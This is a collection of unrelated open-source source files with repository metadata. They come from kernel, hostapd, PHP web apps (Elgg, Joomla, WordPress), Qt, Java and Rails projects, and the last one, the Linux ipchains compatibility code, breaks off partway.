/* * arch/arm/mach-tegra/tegra_pmqos.h * * Copyright (C) 2012 Paul Reioux (aka Faux123) * * Author: * faux123 <reioux@gmail.com> * * History: * -original version (Paul Reioux) * -cleaned since oc was reworked (Dennis Rassmann) * -added comment for T3_VARIANT_BOOST (Dennis Rassmann) * -adapted for grouper (Dennis Rassmann) * -removed distinction between 0boost and xboost * -minimized version * * This software is licensed under the terms of the GNU General Public * License version 2, as published by the Free Software Foundation, and * may be copied, distributed, and modified under those terms. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * */ /* in kHz */ #ifdef CONFIG_CPU_OVERCLOCK #define T3_CPU_FREQ_MAX_0 1600000 #define T3_CPU_FREQ_MAX 1600000 #define T3_CPU_FREQ_MAX_OC 1600000 #else #define T3_CPU_FREQ_MAX_0 1500000 #define T3_CPU_FREQ_MAX 1500000 #define T3_CPU_FREQ_MAX_OC 1500000 #endif /* any caps will be respected */ #define T3_CPU_FREQ_BOOST 1300000 #define T3_CPU_MIN_FREQ 51000 #define T3_SUSPEND_FREQ 340000 #define T3_GMODE_MIN_FREQ 51000 // used for governors ideal or idle freq #define GOV_IDLE_FREQ 475000 // default without 620LP #define T3_LP_MAX_FREQ_DEFAULT 475000 // sysfs to change available #define SUSPEND_ONLINE_CPUS_MAX 2 // f_mtp.c #define MTP_CPU_FREQ_MIN 1150000 #define MTP_ONLINE_CPUS_MIN 2 // tlv320aic3008.c - sysfs to change available #define AUD_CPU_FREQ_MIN 102000 // android.c #define USB_TP_CPU_FREQ_MIN 475000 // tegra_udc.h #define TEGRA_GADGET_CPU_FREQ_MIN 475000 // tegra_hsuart.c - not automatic must be enabled via sysfs // we dont need that on enrc2b #define TI_A2DP_CPU_FREQ_MIN 102000 // tegra_hsuart_brcm.c - not automatic must be enabled via sysfs // sysfs to change available #define A2DP_CPU_FREQ_MIN 204000 #define OPP_CPU_FREQ_MIN 475000 // wl_android.c #define WIFI_CPU_FREQ_MIN 1150000 #define WIFI_ONLINE_CPUS_MIN 2 // usbnet.c #define USBNET_CPU_FREQ_MIN 475000 #define USBNET_ONLINE_CPUS_MIN 2 // tegra_camera.c #define CAMERA_CPU_FREQ_MIN 760000 #define CAMERA_ONLINE_CPUS_MIN 3 extern unsigned int tegra_pmqos_cpu_freq_limits[]; extern unsigned int tegra_pmqos_cpu_freq_limits_min[]; extern unsigned int tegra_cpu_freq_max(unsigned int cpu); extern unsigned int tegra_get_suspend_boost_freq(void); extern unsigned int tegra_lpmode_freq_max(void); extern void tegra_lpmode_freq_max_changed(void);
kernel-hut/next_endeavoru_kernel
arch/arm/mach-tegra/tegra_pmqos.h
C
gpl-2.0
2,674
package demos.nehe.lesson08; import demos.common.GLDisplay; import demos.common.LessonNativeLoader; /** * @author Pepijn Van Eeckhoudt */ public class Lesson08 extends LessonNativeLoader { public static void main(String[] args) { GLDisplay neheGLDisplay = GLDisplay .createGLDisplay("Lesson 08: Blending"); Renderer renderer = new Renderer(); InputHandler inputHandler = new InputHandler(renderer, neheGLDisplay); neheGLDisplay.addGLEventListener(renderer); neheGLDisplay.addKeyListener(inputHandler); neheGLDisplay.start(); } }
Jotschi/jogl2-example
src/main/java/demos/nehe/lesson08/Lesson08.java
Java
gpl-2.0
570
#include <QApplication> #include <QWebEngineView> #include "Page.h" int main(int argc, char **argv) { QApplication app(argc, argv); QWebEngineView *l=new QWebEngineView(0); Page *p=new Page(l); l->setPage(p); p->open("index.sh.htm"); l->show(); app.exec(); delete l; }
cris-b/oma-welcome
launcher/main.cpp
C++
gpl-2.0
278
<?php // add_filter( 'manage_edit-person_columns', 'edit_person_columns' ); function edit_person_columns( $columns ) { $columns = array( 'cb' => '<input type="checkbox" />', 'title' => __( 'Title', 'theme_admin' ), 'meta' => __( 'Meta', 'theme_admin' ), 'category' => __( 'Category', 'theme_admin' ), 'date' => __('Date', 'theme_admin'), ); return $columns; } // add_action( 'manage_posts_custom_column', 'manage_person_columns' ); function manage_person_columns( $column ) { global $post; if ( $post->post_type == "person" ) { switch( $column ) { case 'meta': echo get_post_meta( $post->ID, '_info_meta', true ); break; } } } ?>
ahoymehearties/responsiblegamer
wp-content/themes/stack-theme/base/custom/types/person/manage.php
PHP
gpl-2.0
669
/* This file is part of the KDE project Copyright (C) 2014 Laurent Montel <montel at kde dot org> This library is free software; you can redistribute it and/or modify it under the terms of the GNU Library General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Library General Public License for more details. You should have received a copy of the GNU Library General Public License along with this library; see the file COPYING.LIB. If not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ #include "digikam_debug.h" Q_LOGGING_CATEGORY(DIGIKAM_GENERAL_LOG, "digikam.general") Q_LOGGING_CATEGORY(DIGIKAM_KIOSLAVES_LOG, "digikam.kioslaves") Q_LOGGING_CATEGORY(DIGIKAM_SHOWFOTO_LOG, "digikam.showfoto") Q_LOGGING_CATEGORY(DIGIKAM_IMAGEPLUGINS_LOG, "digikam.imageplugins") Q_LOGGING_CATEGORY(DIGIKAM_DATABASESERVER_LOG, "digikam.databaseserver") Q_LOGGING_CATEGORY(LOG_IMPORTUI, "digikam.import") Q_LOGGING_CATEGORY(LOG_METADATA, "digikam.metadata")
rompe/digikam-core-yolo
app/utils/digikam_debug.cpp
C++
gpl-2.0
1,393
<?php /** * Elgg system settings form * The form to change system settings * * @package Elgg * @subpackage Core * @author Curverider Ltd * @link http://elgg.org/ * * @uses $vars['action'] If set, the place to forward the form to (usually action/systemsettings/save) */ // Set action appropriately if (!isset($vars['action'])) { $action = $vars['url'] . "action/systemsettings/save"; } else { $action = $vars['action']; } $form_body = ""; foreach(array('sitename','sitedescription', 'siteemail', 'wwwroot','path','dataroot', 'view') as $field) { $form_body .= "<p>"; $form_body .= elgg_echo('installation:' . $field) . "<br />"; $warning = elgg_echo('installation:warning:' . $field); if ($warning != 'installation:warning:' . $field) echo "<b>" . $warning . "</b><br />"; $value = $vars['config']->$field; if ($field == 'view') $value = 'default'; $form_body .= elgg_view("input/text",array('internalname' => $field, 'value' => $value)); $form_body .= "</p>"; } $languages = get_installed_translations(); $form_body .= "<p>" . elgg_echo('installation:language') . elgg_view("input/pulldown", array('internalname' => 'language', 'value' => $vars['config']->language, 'options_values' => $languages)) . "</p>"; $form_body .= "<p>" . elgg_echo('installation:sitepermissions') . elgg_view('input/access', array('internalname' => 'default_access','value' => ACCESS_LOGGED_IN)) . "</p>"; $form_body .= "<p class=\"admin_debug\">" . elgg_echo('installation:debug') . "<br />" .elgg_view("input/checkboxes", array('options' => array(elgg_echo('installation:debug:label')), 'internalname' => 'debug', 'value' => ($vars['config']->debug ? elgg_echo('installation:debug:label') : "") )) . "</p>"; $form_body .= "<p class=\"admin_debug\">" . elgg_echo('installation:httpslogin') . "<br />" .elgg_view("input/checkboxes", array('options' => array(elgg_echo('installation:httpslogin:label')), 'internalname' => 'https_login', 'value' => ($vars['config']->https_login ? elgg_echo('installation:httpslogin:label') : "") )) . "</p>"; $form_body .= "<p class=\"admin_debug\">" . elgg_echo('installation:disableapi') . "<br />"; $on = elgg_echo('installation:disableapi:label'); if ((isset($CONFIG->disable_api)) && ($CONFIG->disable_api == true)) $on = ($vars['config']->disable_api ? "" : elgg_echo('installation:disableapi:label')); $form_body .= elgg_view("input/checkboxes", array('options' => array(elgg_echo('installation:disableapi:label')), 'internalname' => 'api', 'value' => $on )); $form_body .= "</p>"; $form_body .= "<p class=\"admin_usage\">" . elgg_echo('installation:usage') . "<br />"; $on = elgg_echo('installation:usage:label'); if (isset($CONFIG->ping_home)) $on = ($vars['config']->ping_home!='disabled' ? elgg_echo('installation:usage:label') : ""); $form_body .= elgg_view("input/checkboxes", array('options' => array(elgg_echo('installation:usage:label')), 'internalname' => 'usage', 'value' => $on )); $form_body .= "</p>"; $form_body .= elgg_view('input/hidden', array('internalname' => 'settings', 'value' => 'go')); $form_body .= elgg_view('input/submit', array('value' => elgg_echo("save"))); echo elgg_view('input/form', array('action' => $action, 'body' => $form_body)); ?>
telemed-duth/Metamorphosis-Meducator
views/failsafe/settings/system.php
PHP
gpl-2.0
3,332
<?php /** * @package Joomla.Administrator * @subpackage com_content * @copyright Copyright (C) 2005 - 2013 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ // No direct access. defined('_JEXEC') or die; jimport('joomla.application.component.controlleradmin'); /** * Articles list controller class. * * @package Joomla.Administrator * @subpackage com_content * @since 1.6 */ class ContentControllerArticles extends JControllerAdmin { /** * Constructor. * * @param array $config An optional associative array of configuration settings. * @return ContentControllerArticles * @see JController * @since 1.6 */ public function __construct($config = array()) { // Articles default form can come from the articles or featured view. // Adjust the redirect view on the value of 'view' in the request. if (JRequest::getCmd('view') == 'featured') { $this->view_list = 'featured'; } parent::__construct($config); $this->registerTask('unfeatured', 'featured'); } /** * Method to toggle the featured setting of a list of articles. * * @return void * @since 1.6 */ function featured() { // Check for request forgeries JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Initialise variables. $user = JFactory::getUser(); $ids = JRequest::getVar('cid', array(), '', 'array'); $values = array('featured' => 1, 'unfeatured' => 0); $task = $this->getTask(); $value = JArrayHelper::getValue($values, $task, 0, 'int'); // Access checks. foreach ($ids as $i => $id) { if (!$user->authorise('core.edit.state', 'com_content.article.'.(int) $id)) { // Prune items that you can't change. unset($ids[$i]); JError::raiseNotice(403, JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED')); } } if (empty($ids)) { JError::raiseWarning(500, JText::_('JERROR_NO_ITEMS_SELECTED')); } else { // Get the model. $model = $this->getModel(); // Publish the items. if (!$model->featured($ids, $value)) { JError::raiseWarning(500, $model->getError()); } } $this->setRedirect('index.php?option=com_content&view=articles'); } /** * Proxy for getModel. * * @param string $name The name of the model. * @param string $prefix The prefix for the PHP class name. * * @return JModel * @since 1.6 */ public function getModel($name = 'Article', $prefix = 'ContentModel', $config = array('ignore_request' => true)) { $model = parent::getModel($name, $prefix, $config); return $model; } }
brKamil/joomla-zamarte
administrator/components/com_content/controllers/articles.php
PHP
gpl-2.0
2,599
/* * hostapd / Configuration definitions and helpers functions * Copyright (c) 2003-2009, Jouni Malinen <j@w1.fi> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef HOSTAPD_CONFIG_H #define HOSTAPD_CONFIG_H #include "common/defs.h" #include "ip_addr.h" #include "common/wpa_common.h" #include "wps/wps.h" #ifdef CONFIG_TML_PPDP #include "common/ppdp_common.h" #endif #define MAX_STA_COUNT 2007 #define MAX_VLAN_ID 4094 typedef u8 macaddr[ETH_ALEN]; struct mac_acl_entry { macaddr addr; int vlan_id; }; struct hostapd_radius_servers; struct ft_remote_r0kh; struct ft_remote_r1kh; #define HOSTAPD_MAX_SSID_LEN 32 #define NUM_WEP_KEYS 4 struct hostapd_wep_keys { u8 idx; u8 *key[NUM_WEP_KEYS]; size_t len[NUM_WEP_KEYS]; int keys_set; size_t default_len; /* key length used for dynamic key generation */ }; typedef enum hostap_security_policy { SECURITY_PLAINTEXT = 0, SECURITY_STATIC_WEP = 1, SECURITY_IEEE_802_1X = 2, SECURITY_WPA_PSK = 3, SECURITY_WPA = 4 } secpolicy; struct hostapd_ssid { char ssid[HOSTAPD_MAX_SSID_LEN + 1]; size_t ssid_len; int ssid_set; /* #ifdef CONFIG_TML_PPDP char rssid[PPDP_RSSID_LEN + 1]; int rssid_set; #endif */ char vlan[IFNAMSIZ + 1]; secpolicy security_policy; struct hostapd_wpa_psk *wpa_psk; char *wpa_passphrase; char *wpa_psk_file; struct hostapd_wep_keys wep; #define DYNAMIC_VLAN_DISABLED 0 #define DYNAMIC_VLAN_OPTIONAL 1 #define DYNAMIC_VLAN_REQUIRED 2 int dynamic_vlan; #ifdef CONFIG_FULL_DYNAMIC_VLAN char *vlan_tagged_interface; #endif /* CONFIG_FULL_DYNAMIC_VLAN */ struct hostapd_wep_keys **dyn_vlan_keys; size_t max_dyn_vlan_keys; }; #define VLAN_ID_WILDCARD -1 struct hostapd_vlan { struct hostapd_vlan *next; int vlan_id; /* VLAN ID or -1 (VLAN_ID_WILDCARD) for wildcard entry */ char ifname[IFNAMSIZ + 1]; int dynamic_vlan; #ifdef CONFIG_FULL_DYNAMIC_VLAN #define DVLAN_CLEAN_BR 0x1 #define DVLAN_CLEAN_VLAN 0x2 #define DVLAN_CLEAN_VLAN_PORT 0x4 #define DVLAN_CLEAN_WLAN_PORT 0x8 int clean; #endif /* CONFIG_FULL_DYNAMIC_VLAN */ }; #define PMK_LEN 32 struct hostapd_wpa_psk { struct hostapd_wpa_psk *next; int group; u8 psk[PMK_LEN]; u8 addr[ETH_ALEN]; }; struct hostapd_eap_user { struct hostapd_eap_user *next; u8 *identity; size_t identity_len; struct { int vendor; u32 method; } methods[EAP_MAX_METHODS]; u8 *password; size_t password_len; int phase2; int force_version; unsigned int wildcard_prefix:1; unsigned int password_hash:1; /* whether password is hashed with * nt_password_hash() */ int ttls_auth; /* EAP_TTLS_AUTH_* bitfield */ }; #define NUM_TX_QUEUES 4 struct hostapd_tx_queue_params { int aifs; int cwmin; int cwmax; int burst; /* maximum burst time in 0.1 ms, i.e., 10 = 1 ms */ }; struct hostapd_wmm_ac_params { int cwmin; int cwmax; int aifs; int txop_limit; /* in units of 32us */ int admission_control_mandatory; }; #define MAX_ROAMING_CONSORTIUM_LEN 15 struct hostapd_roaming_consortium { u8 len; u8 oi[MAX_ROAMING_CONSORTIUM_LEN]; }; /** * struct hostapd_bss_config - Per-BSS configuration */ struct hostapd_bss_config { char iface[IFNAMSIZ + 1]; char bridge[IFNAMSIZ + 1]; char wds_bridge[IFNAMSIZ + 1]; enum hostapd_logger_level logger_syslog_level, logger_stdout_level; unsigned int logger_syslog; /* module bitfield */ unsigned int logger_stdout; /* module bitfield */ char *dump_log_name; /* file name for state dump (SIGUSR1) */ int max_num_sta; /* maximum number of STAs in station table */ int dtim_period; int ieee802_1x; /* use IEEE 802.1X */ int eapol_version; int eap_server; /* Use internal EAP server instead of external * RADIUS server */ struct hostapd_eap_user *eap_user; char *eap_sim_db; struct hostapd_ip_addr own_ip_addr; char *nas_identifier; struct hostapd_radius_servers *radius; int acct_interim_interval; struct hostapd_ssid ssid; char *eap_req_id_text; /* optional displayable message sent with * EAP Request-Identity */ size_t eap_req_id_text_len; int eapol_key_index_workaround; size_t default_wep_key_len; int individual_wep_key_len; int wep_rekeying_period; int broadcast_key_idx_min, broadcast_key_idx_max; int eap_reauth_period; int ieee802_11f; /* use IEEE 802.11f (IAPP) */ char iapp_iface[IFNAMSIZ + 1]; /* interface used with IAPP broadcast * frames */ enum { ACCEPT_UNLESS_DENIED = 0, DENY_UNLESS_ACCEPTED = 1, USE_EXTERNAL_RADIUS_AUTH = 2 } macaddr_acl; struct mac_acl_entry *accept_mac; int num_accept_mac; struct mac_acl_entry *deny_mac; int num_deny_mac; int wds_sta; int isolate; int auth_algs; /* bitfield of allowed IEEE 802.11 authentication * algorithms, WPA_AUTH_ALG_{OPEN,SHARED,LEAP} */ int wpa; /* bitfield of WPA_PROTO_WPA, WPA_PROTO_RSN */ int wpa_key_mgmt; #ifdef CONFIG_IEEE80211W enum mfp_options ieee80211w; /* dot11AssociationSAQueryMaximumTimeout (in TUs) */ unsigned int assoc_sa_query_max_timeout; /* dot11AssociationSAQueryRetryTimeout (in TUs) */ int assoc_sa_query_retry_timeout; #endif /* CONFIG_IEEE80211W */ enum { PSK_RADIUS_IGNORED = 0, PSK_RADIUS_ACCEPTED = 1, PSK_RADIUS_REQUIRED = 2 } wpa_psk_radius; int wpa_pairwise; int wpa_group; int wpa_group_rekey; int wpa_strict_rekey; int wpa_gmk_rekey; int wpa_ptk_rekey; int rsn_pairwise; int rsn_preauth; char *rsn_preauth_interfaces; int peerkey; #ifdef CONFIG_IEEE80211R /* IEEE 802.11r - Fast BSS Transition */ u8 mobility_domain[MOBILITY_DOMAIN_ID_LEN]; u8 r1_key_holder[FT_R1KH_ID_LEN]; u32 r0_key_lifetime; u32 reassociation_deadline; struct ft_remote_r0kh *r0kh_list; struct ft_remote_r1kh *r1kh_list; int pmk_r1_push; int ft_over_ds; #endif /* CONFIG_IEEE80211R */ char *ctrl_interface; /* directory for UNIX domain sockets */ #ifndef CONFIG_NATIVE_WINDOWS gid_t ctrl_interface_gid; #endif /* CONFIG_NATIVE_WINDOWS */ int ctrl_interface_gid_set; char *ca_cert; char *server_cert; char *private_key; char *private_key_passwd; int check_crl; char *dh_file; u8 *pac_opaque_encr_key; u8 *eap_fast_a_id; size_t eap_fast_a_id_len; char *eap_fast_a_id_info; int eap_fast_prov; int pac_key_lifetime; int pac_key_refresh_time; int eap_sim_aka_result_ind; int tnc; int fragment_size; u16 pwd_group; char *radius_server_clients; int radius_server_auth_port; int radius_server_ipv6; char *test_socket; /* UNIX domain socket path for driver_test */ int use_pae_group_addr; /* Whether to send EAPOL frames to PAE group * address instead of individual address * (for driver_wired.c). */ int ap_max_inactivity; int ignore_broadcast_ssid; int wmm_enabled; int wmm_uapsd; struct hostapd_vlan *vlan, *vlan_tail; macaddr bssid; /* * Maximum listen interval that STAs can use when associating with this * BSS. If a STA tries to use larger value, the association will be * denied with status code 51. */ u16 max_listen_interval; int disable_pmksa_caching; int okc; /* Opportunistic Key Caching */ int wps_state; #ifdef CONFIG_WPS int ap_setup_locked; u8 uuid[16]; char *wps_pin_requests; char *device_name; char *manufacturer; char *model_name; char *model_number; char *serial_number; u8 device_type[WPS_DEV_TYPE_LEN]; char *config_methods; u8 os_version[4]; char *ap_pin; int skip_cred_build; u8 *extra_cred; size_t extra_cred_len; int wps_cred_processing; u8 *ap_settings; size_t ap_settings_len; char *upnp_iface; char *friendly_name; char *manufacturer_url; char *model_description; char *model_url; char *upc; struct wpabuf *wps_vendor_ext[MAX_WPS_VENDOR_EXTENSIONS]; #endif /* CONFIG_WPS */ int pbc_in_m1; #define P2P_ENABLED BIT(0) #define P2P_GROUP_OWNER BIT(1) #define P2P_GROUP_FORMATION BIT(2) #define P2P_MANAGE BIT(3) #define P2P_ALLOW_CROSS_CONNECTION BIT(4) int p2p; int disassoc_low_ack; int skip_inactivity_poll; #define TDLS_PROHIBIT BIT(0) #define TDLS_PROHIBIT_CHAN_SWITCH BIT(1) int tdls; int disable_11n; /* IEEE 802.11v */ int time_advertisement; char *time_zone; /* IEEE 802.11u - Interworking */ int interworking; int access_network_type; int internet; int asra; int esr; int uesa; int venue_info_set; u8 venue_group; u8 venue_type; u8 hessid[ETH_ALEN]; /* IEEE 802.11u - Roaming Consortium list */ unsigned int roaming_consortium_count; struct hostapd_roaming_consortium *roaming_consortium; u8 wps_rf_bands; /* RF bands for WPS (WPS_RF_*) */ #ifdef CONFIG_RADIUS_TEST char *dump_msk_file; #endif /* CONFIG_RADIUS_TEST */ }; /** * struct hostapd_config - Per-radio interface configuration */ struct hostapd_config { struct hostapd_bss_config *bss, *last_bss; size_t num_bss; u16 beacon_int; int rts_threshold; int fragm_threshold; u8 send_probe_response; u8 channel; enum hostapd_hw_mode hw_mode; /* HOSTAPD_MODE_IEEE80211A, .. */ enum { LONG_PREAMBLE = 0, SHORT_PREAMBLE = 1 } preamble; int *supported_rates; int *basic_rates; const struct wpa_driver_ops *driver; int ap_table_max_size; int ap_table_expiration_time; char country[3]; /* first two octets: country code as described in * ISO/IEC 3166-1. Third octet: * ' ' (ascii 32): all environments * 'O': Outdoor environemnt only * 'I': Indoor environment only */ int ieee80211d; struct hostapd_tx_queue_params tx_queue[NUM_TX_QUEUES]; /* * WMM AC parameters, in same order as 802.1D, i.e. * 0 = BE (best effort) * 1 = BK (background) * 2 = VI (video) * 3 = VO (voice) */ struct hostapd_wmm_ac_params wmm_ac_params[4]; int ht_op_mode_fixed; u16 ht_capab; int ieee80211n; int secondary_channel; int require_ht; }; int hostapd_mac_comp(const void *a, const void *b); int hostapd_mac_comp_empty(const void *a); struct hostapd_config * hostapd_config_defaults(void); void hostapd_config_defaults_bss(struct hostapd_bss_config *bss); void hostapd_config_free(struct hostapd_config *conf); int hostapd_maclist_found(struct mac_acl_entry *list, int num_entries, const u8 *addr, int *vlan_id); int hostapd_rate_found(int *list, int rate); int hostapd_wep_key_cmp(struct hostapd_wep_keys *a, struct hostapd_wep_keys *b); const u8 * hostapd_get_psk(const struct hostapd_bss_config *conf, const u8 *addr, const u8 *prev_psk); int hostapd_setup_wpa_psk(struct hostapd_bss_config *conf); const char * hostapd_get_vlan_id_ifname(struct hostapd_vlan *vlan, int vlan_id); const struct hostapd_eap_user * hostapd_get_eap_user(const struct hostapd_bss_config *conf, const u8 *identity, size_t identity_len, int phase2); #endif /* HOSTAPD_CONFIG_H */
joamaki/hostap
src/ap/ap_config.h
C
gpl-2.0
10,843
BlankDeployable::Application.configure do # Settings specified here will take precedence over those in config/application.rb # In the development environment your application's code is reloaded on # every request. This slows down response time but is perfect for development # since you don't have to restart the web server when you make code changes. config.cache_classes = false # Log error messages when you accidentally call methods on nil. config.whiny_nils = true # Show full error reports and disable caching config.consider_all_requests_local = true config.action_controller.perform_caching = false # Don't care if the mailer can't send config.action_mailer.raise_delivery_errors = false # Print deprecation notices to the Rails logger config.active_support.deprecation = :log # Only use best-standards-support built into browsers config.action_dispatch.best_standards_support = :builtin # Raise exception on mass assignment protection for Active Record models config.active_record.mass_assignment_sanitizer = :strict # Log the query plan for queries taking more than this (works # with SQLite, MySQL, and PostgreSQL) config.active_record.auto_explain_threshold_in_seconds = 0.5 # Do not compress assets config.assets.compress = false # Expands the lines which load the assets config.assets.debug = true end
goodmanvn2003/example-rails
config/environments/development.rb
Ruby
gpl-2.0
1,382
<?php ob_start(); require_once("include/bittorrent.php"); include($rootpath . get_langfile_path()); dbconn(); loggedinorreturn(); stdhead("Administration"); print("<h1 class=\"center\">Administration</h1>"); $panels = $lang_staffpanel; echo '<dl class="table">'; $c = 0; foreach ($panels as $name => $panel) { if (checkPrivilege(['ManagePanels', $name])) { dl_item($panel['name'], '<a href="//' . $BASEURL . '/' . $name . '.php' . '">' . $panel['desc'] . '</a>', true, 'longt'); ++$c; } } if ($c == 0) { echo '</dl><h2 class="center">这谁家熊孩子啊,怎么到处乱跑呢</h2>'; } else { echo '</dl>'; } stdfoot();
kebot/hudbt
staffpanel.php
PHP
gpl-2.0
643
/* Minor modifications to fit on compatibility framework: Rusty.Russell@rustcorp.com.au */ /* * This code is heavily based on the code on the old ip_fw.c code; see below for * copyrights and attributions of the old code. This code is basically GPL. * * 15-Aug-1997: Major changes to allow graphs for firewall rules. * Paul Russell <Paul.Russell@rustcorp.com.au> and * Michael Neuling <Michael.Neuling@rustcorp.com.au> * 24-Aug-1997: Generalised protocol handling (not just TCP/UDP/ICMP). * Added explicit RETURN from chains. * Removed TOS mangling (done in ipchains 1.0.1). * Fixed read & reset bug by reworking proc handling. * Paul Russell <Paul.Russell@rustcorp.com.au> * 28-Sep-1997: Added packet marking for net sched code. * Removed fw_via comparisons: all done on device name now, * similar to changes in ip_fw.c in DaveM's CVS970924 tree. * Paul Russell <Paul.Russell@rustcorp.com.au> * 2-Nov-1997: Moved types across to __u16, etc. * Added inverse flags. * Fixed fragment bug (in args to port_match). * Changed mark to only one flag (MARKABS). * 21-Nov-1997: Added ability to test ICMP code. * 19-Jan-1998: Added wildcard interfaces. * 6-Feb-1998: Merged 2.0 and 2.1 versions. * Initialised ip_masq for 2.0.x version. * Added explicit NETLINK option for 2.1.x version. * Added packet and byte counters for policy matches. * 26-Feb-1998: Fixed race conditions, added SMP support. * 18-Mar-1998: Fix SMP, fix race condition fix. * 1-May-1998: Remove caching of device pointer. * 12-May-1998: Allow tiny fragment case for TCP/UDP. * 15-May-1998: Treat short packets as fragments, don't just block. * 3-Jan-1999: Fixed serious procfs security hole -- users should never * be allowed to view the chains! * Marc Santoro <ultima@snicker.emoti.com> * 29-Jan-1999: Locally generated bogus IPs dealt with, rather than crash * during dump_packet. --RR. * 19-May-1999: Star Wars: The Phantom Menace opened. Rule num * printed in log (modified from Michael Hasenstein's patch). * Added SYN in log message. --RR * 23-Jul-1999: Fixed small fragment security exposure opened on 15-May-1998. * John McDonald <jm@dataprotect.com> * Thomas Lopatic <tl@dataprotect.com> */ /* * * The origina Linux port was done Alan Cox, with changes/fixes from * Pauline Middlelink, Jos Vos, Thomas Quinot, Wouter Gadeyne, Juan * Jose Ciarlante, Bernd Eckenfels, Keith Owens and others. * * Copyright from the original FreeBSD version follows: * * Copyright (c) 1993 Daniel Boulet * Copyright (c) 1994 Ugen J.S.Antsilevich * * Redistribution and use in source forms, with and without modification, * are permitted provided that this entire comment appears intact. * * Redistribution in binary form may occur without any restrictions. * Obviously, it would be nice if you gave credit where credit is due * but requiring it would be too onerous. * * This software is provided ``AS IS'' without any warranties of any kind. */ #include <linux/config.h> #include <asm/uaccess.h> #include <asm/system.h> #include <linux/types.h> #include <linux/sched.h> #include <linux/string.h> #include <linux/errno.h> #include <linux/module.h> #include <linux/socket.h> #include <linux/sockios.h> #include <linux/in.h> #include <linux/inet.h> #include <linux/netdevice.h> #include <linux/icmp.h> #include <linux/udp.h> #include <net/ip.h> #include <net/protocol.h> #include <net/route.h> #include <net/tcp.h> #include <net/udp.h> #include <net/sock.h> #include <net/icmp.h> #include <linux/netlink.h> #include <linux/netfilter.h> #include <linux/netfilter_ipv4/compat_firewall.h> #include <linux/netfilter_ipv4/ipchains_core.h> #include <linux/netfilter_ipv4/ip_nat_core.h> #include <net/checksum.h> #include <linux/proc_fs.h> #include <linux/stat.h> MODULE_LICENSE("Dual BSD/GPL"); MODULE_DESCRIPTION("ipchains backwards compatibility layer"); /* Understanding locking in this code: (thanks to Alan Cox for using * little words to explain this to me). -- PR * * In UP, there can be two packets traversing the chains: * 1) A packet from the current userspace context * 2) A packet off the bh handlers (timer or net). * * For SMP (kernel v2.1+), multiply this by # CPUs. * * [Note that this in not correct for 2.2 - because the socket code always * uses lock_kernel() to serialize, and bottom halves (timers and net_bhs) * only run on one CPU at a time. This will probably change for 2.3. * It is still good to use spinlocks because that avoids the global cli() * for updating the tables, which is rather costly in SMP kernels -AK] * * This means counters and backchains can get corrupted if no precautions * are taken. * * To actually alter a chain on UP, we need only do a cli(), as this will * stop a bh handler firing, as we are in the current userspace context * (coming from a setsockopt()). * * On SMP, we need a write_lock_irqsave(), which is a simple cli() in * UP. * * For backchains and counters, we use an array, indexed by * [smp_processor_id()*2 + !in_interrupt()]; the array is of * size [NR_CPUS*2]. For v2.0, NR_CPUS is effectively 1. So, * confident of uniqueness, we modify counters even though we only * have a read lock (to read the counters, you need a write lock, * though). */ /* Why I didn't use straight locking... -- PR * * The backchains can be separated out of the ip_chains structure, and * allocated as needed inside ip_fw_check(). * * The counters, however, can't. Trying to lock these means blocking * interrupts every time we want to access them. This would suck HARD * performance-wise. Not locking them leads to possible corruption, * made worse on 32-bit machines (counters are 64-bit). */ /*#define DEBUG_IP_FIREWALL*/ /*#define DEBUG_ALLOW_ALL*/ /* Useful for remote debugging */ /*#define DEBUG_IP_FIREWALL_USER*/ /*#define DEBUG_IP_FIREWALL_LOCKING*/ #if defined(CONFIG_NETLINK_DEV) || defined(CONFIG_NETLINK_DEV_MODULE) static struct sock *ipfwsk; #endif #ifdef CONFIG_SMP #define SLOT_NUMBER() (smp_processor_id()*2 + !in_interrupt()) #else /* !SMP */ #define SLOT_NUMBER() (!in_interrupt()) #endif /* CONFIG_SMP */ #define NUM_SLOTS (NR_CPUS*2) #define SIZEOF_STRUCT_IP_CHAIN (sizeof(struct ip_chain) \ + NUM_SLOTS*sizeof(struct ip_reent)) #define SIZEOF_STRUCT_IP_FW_KERNEL (sizeof(struct ip_fwkernel) \ + NUM_SLOTS*sizeof(struct ip_counters)) #ifdef DEBUG_IP_FIREWALL_LOCKING static unsigned int fwc_rlocks, fwc_wlocks; #define FWC_DEBUG_LOCK(d) \ do { \ FWC_DONT_HAVE_LOCK(d); \ d |= (1 << SLOT_NUMBER()); \ } while (0) #define FWC_DEBUG_UNLOCK(d) \ do { \ FWC_HAVE_LOCK(d); \ d &= ~(1 << SLOT_NUMBER()); \ } while (0) #define FWC_DONT_HAVE_LOCK(d) \ do { \ if ((d) & (1 << SLOT_NUMBER())) \ printk("%s:%i: Got lock on %i already!\n", \ __FILE__, __LINE__, SLOT_NUMBER()); \ } while(0) #define FWC_HAVE_LOCK(d) \ do { \ if (!((d) & (1 << SLOT_NUMBER()))) \ printk("%s:%i:No lock on %i!\n", \ __FILE__, __LINE__, SLOT_NUMBER()); \ } while (0) #else #define FWC_DEBUG_LOCK(d) do { } while(0) #define FWC_DEBUG_UNLOCK(d) do { } while(0) #define FWC_DONT_HAVE_LOCK(d) do { } while(0) #define FWC_HAVE_LOCK(d) do { } while(0) #endif /*DEBUG_IP_FIRWALL_LOCKING*/ #define FWC_READ_LOCK(l) do { FWC_DEBUG_LOCK(fwc_rlocks); read_lock(l); } while (0) #define FWC_WRITE_LOCK(l) do { FWC_DEBUG_LOCK(fwc_wlocks); write_lock(l); } while (0) #define FWC_READ_LOCK_IRQ(l,f) do { FWC_DEBUG_LOCK(fwc_rlocks); read_lock_irqsave(l,f); } while (0) #define FWC_WRITE_LOCK_IRQ(l,f) do { 